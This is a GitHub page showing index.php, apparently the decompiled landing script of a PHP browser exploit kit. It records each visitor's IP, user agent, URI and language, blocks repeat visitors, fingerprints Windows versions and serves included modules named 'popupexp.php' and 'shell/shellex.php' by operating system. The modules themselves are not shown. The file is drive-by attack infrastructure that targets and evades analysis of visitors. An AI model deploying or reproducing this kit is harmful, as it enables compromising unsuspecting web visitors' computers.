-
Notifications
You must be signed in to change notification settings - Fork 11
/
index.php
135 lines (134 loc) · 3.69 KB
/
index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
<?php
/************************/
/* */
/*Dezended By Martian */
/*munir.skilledsoft.com */
/* */
/* */
/************************/
include( "inc.config.php" );
include( "lib/lib.placeholder.php" );
include( "lib/block.php" );
//include( "lib/crypt.php" );
if ( !mysql_connect( $db_host, $db_user, $db_pass ) )
{
exit( "Couldn't connect to db!" );
}
if ( !mysql_select_db( $db_name ) )
{
exit( "DB \"".$db_name."\" not found!" );
}
$ip = getenv( "REMOTE_ADDR" );
$sql = sql_placeholder( "SELECT * FROM tp_stats WHERE ip = ? AND datetime > ?", $ip, date( "Y-m-d H:i:s", time( ) - $timeout ) );
$r = mysql_query( $sql );
$num = mysql_num_rows( $r );
if ( 0 < $num )
{
$sql = "UPDATE tp_hits set total = total + 1";
mysql_query( $sql );
echo "<center><b>You IP is blocked!!!</b></center><script type=\"text/javascript\" src=\"lib/close.js\"></script>";
exit( );
}
$user_agent = getenv( "HTTP_USER_AGENT" );
$uri = getenv( "REQUEST_URI" );
$accept_lang = getenv( "HTTP_ACCEPT_LANGUAGE" );
if ( strstr( $user_agent, "Nav" ) )
{
$browser = "Netscape";
}
else if ( strstr( $user_agent, "Lynx" ) )
{
$browser = "Lynx";
}
else if ( strstr( $user_agent, "Opera" ) )
{
$browser = "Opera";
}
else if ( strstr( $user_agent, "WebTV" ) )
{
$browser = "WebTV";
}
else if ( strstr( $user_agent, "Konqueror" ) )
{
$browser = "Konqueror";
}
else if ( strstr( $user_agent, "Bot" ) )
{
$browser = "Bot";
}
else if ( strstr( $user_agent, "MSIE" ) )
{
$browser = "MSIE";
}
else
{
$browser = "other";
}
if ( strstr( $user_agent, "Windows 95" ) )
{
$os = "Windows 95";
}
else if ( strstr( $user_agent, "Windows NT 4" ) )
{
$os = "Windows NT 4";
}
else if ( strstr( $user_agent, "Win 9x 4.9" ) )
{
$os = "Windows ME";
}
else if ( strstr( $user_agent, "Windows 98" ) )
{
$os = "Windows 98";
}
else if ( strstr( $user_agent, "Windows NT 5.0" ) )
{
$os = "Windows 2000";
}
else if ( strstr( $user_agent, "SV1" ) )
{
$os = "Windows XP SP2";
}
else if ( strstr( $user_agent, "Windows NT 5.1" ) )
{
$os = "Windows XP";
}
else if ( strstr( $user_agent, "Windows NT 5.2" ) )
{
$os = "Windows 2003";
}
else
{
$os = "other";
}
$sql = sql_placeholder( "INSERT INTO tp_stats(datetime, ip, user_agent, browser, os, uri, accept_lang) VALUES(?, ?, ?, ?, ?, ?, ?)", date( "Y-m-d H:i:s" ), $ip, $user_agent, $browser, $os, $uri, $accept_lang );
mysql_query( $sql );
if ( $os == "Windows 95" || $os == "Windows NT 4" || $os == "Windows ME" || $os == "Windows 98" || $os == "Windows 2000" || $os == "Windows 2003" || $os == "Windows XP" )
{
echo "<html>\r\n<head>\r\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\">\r\n<title></title>\r\n</head><body bgcolor=snow>\r\n";
include( "mod/ok.php" );
echo "<br>\r\n";
include( "mod/popupexp.php" );
echo "<br>\r\n";
include( "mod/shell/shellex.php" );
echo "<br>\r\n\r\n";
}
else if ( $os == "Windows XP SP2" )
{
echo "<html>\r\n<head>\r\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\">\r\n<title></title>\r\n</head><body bgcolor=snow>\r\n";
include( "mod/ok.php" );
echo "<br>\r\n";
include( "mod/shell/shellex.php" );
echo "<br>\r\n\r\n";
}
else
{
echo "<html><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\">\r\n<title></title></head><body bgcolor=snow>\r\n";
include( "mod/ok.php" );
echo "<br>\r\n";
include( "mod/popupexp.php" );
echo "<br>\r\n";
include( "mod/shell/shellex.php" );
echo "<br>\r\n";
}
echo "</body></html>";
?>